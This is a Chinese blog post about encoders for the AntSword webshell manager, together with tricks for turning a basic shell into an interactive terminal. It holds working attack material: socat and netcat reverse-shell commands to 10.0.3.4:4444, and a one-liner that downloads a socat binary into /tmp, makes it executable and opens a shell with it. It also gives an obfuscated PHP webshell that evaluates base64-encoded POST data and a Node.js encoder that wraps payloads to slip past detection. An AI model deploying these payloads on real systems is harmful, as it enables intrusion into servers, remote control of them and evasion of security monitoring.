蚁剑-编码器篇

蚁剑篇


测试环境

-Apache 2.41.39
-PHP 7.0.9

将简单的Shell转换成为完全交互式的TTY

  • 方法1:Python pty模块(python默认自带)
    对于已经安装了python的系统,我们可以使用python提供的pty模块,只需要一行脚本就可以创建一个原生的终端,命令如下:
    python -c ‘import pty; pty.spawn(“/bin/bash”)’
  • 方法2:使用socat
默认是没有安装的。
在客户端执行:
socat file:`tty`,raw,echo=0 tcp-listen:4444
在服务端(目标机器)执行
socat exec:’bash -li’,pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444
通过命令注入漏洞/已经获取shel的地址,我们可以将socat二进制文件下载到一个可写的目录,并通过chmod命令修改文件的执行权限,然后在一行中执行反向shell:
wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat; chmod +x /tmp/socat; /tmp/socat exec:’bash -li’,pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444
-方法3:使用stty
先在本机上执行nc -lvp 12345,并反弹shell,运行python -c 'import pty; pty.spawn("/bin/bash")'如下图所示:
Alt text
然后将其Ctrl+Z 放在后台执行,然后运行stty raw -echo,并输入fg并回车,注意输入fg的时候不会回显,而后在框内输入reset并回车:
Alt text
回车之后如下图所示:
Alt text

编码器

B64pass

Payload

<?php $c="c";$xxx=($c[0]."reate_fun".$c[0]."tion")("",("base64_de".$c[0]."ode")('QGFzc2VydChiYXNlNjRfZGVjb2RlKCRfUE9TVFsnYW50J10pKTs='));$xxx();?>

Encoder 编码器

'use strict';
 
module.exports = (pwd, data) => {
let randomID = `_0x${Math.random().toString(16).substr(2)}`;
data[randomID] = new Buffer(data['_']).toString('base64');
data[pwd] = new Buffer(`eval(base64_decode($_POST[${randomID}]));die();`).toString('base64');
delete data['_'];
return data;
}
连接示意图:
Alt text

Decoder 编码器

此脚本可使用解码器,如下所示:
  • base64 decoder
Alt text
  • rot13
Alt text
  • aes_128_ecb_pkcs7_padding
Alt text
posted @ 2022-03-31 15:18  月满年  阅读(568)  评论(0编辑  收藏  举报